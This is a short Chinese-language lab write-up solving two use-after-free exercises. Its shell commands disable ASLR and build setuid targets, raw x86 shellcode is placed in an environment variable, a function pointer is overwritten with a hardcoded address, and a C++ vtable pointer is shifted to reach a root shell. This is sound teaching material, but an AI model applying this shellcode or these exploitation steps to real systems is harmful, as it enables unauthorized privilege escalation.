漏洞挖掘前言
题目
Lab
UAF Attack Lab
解答
Lab
UAF Attack Lab
Task1:UAF
攻击思路:把shellcode放入环境变量,由于vuln的释放和ptr1的重新申请,利用uaf漏洞把shellcode的地址覆盖在vuln->clean中保存的原cleanMemory位置上。这样在之后再调用vuln->clean时,实际调用的就是我们的shell code。
Step1:环境配置和文件编译
关闭地址随机化,编译时打开栈可执行,赋予SUID权限。使用如下代码:
sudo sysctl -w kernel.randomize_va_space=0
su
gcc -o uaf -z execstack uaf.c
chmod 4755 uaf
Step2:把shellcode放入环境变量并获得其地址
export EGG=$(python -c "print '\x90'*1000 + '\x6a\x17\x58\x31\xdb\xcd\x80\x6a\x0b\x58\x99\x52\x68//sh\x68/bin\x89\xe3\x52\x53\x89\xe1\xcd\x80'")
gcc -o get get.c
get
Step3:实施攻击
加入24个nop是因为在clean前有4个字节的id和20字节的name
uaf $(python -c "print '\x90'*24+'\x93\xf2\xff\xbf'")
Task2:UAF2
Step1:编译文件
g++ -o uaf2 uaf2.cpp
chmod 4755 uaf2
Step2:寻找m、n的地址
反汇编主函数,在m的初始化快结束时,添加断点,观察m的起始地址
同理观察w的起始地址
Step3:寻找m、n的虚表指针
Step4:查看虚表中的内容
我们在w快构造结束时查看虚标中的内容
可以看出give_shell只在introduce前4个字节,也就是说我们只要把m、w的虚表指针减4即可将原本运行introduce转为运行give_shell。
Step5:生成badfile
把0x804915c(指向give_shell)放入badfile
Step6:实施攻击
执行漏洞文件uaf2,选择顺序为:3—>2—>2—>1
可以看出,攻击成功!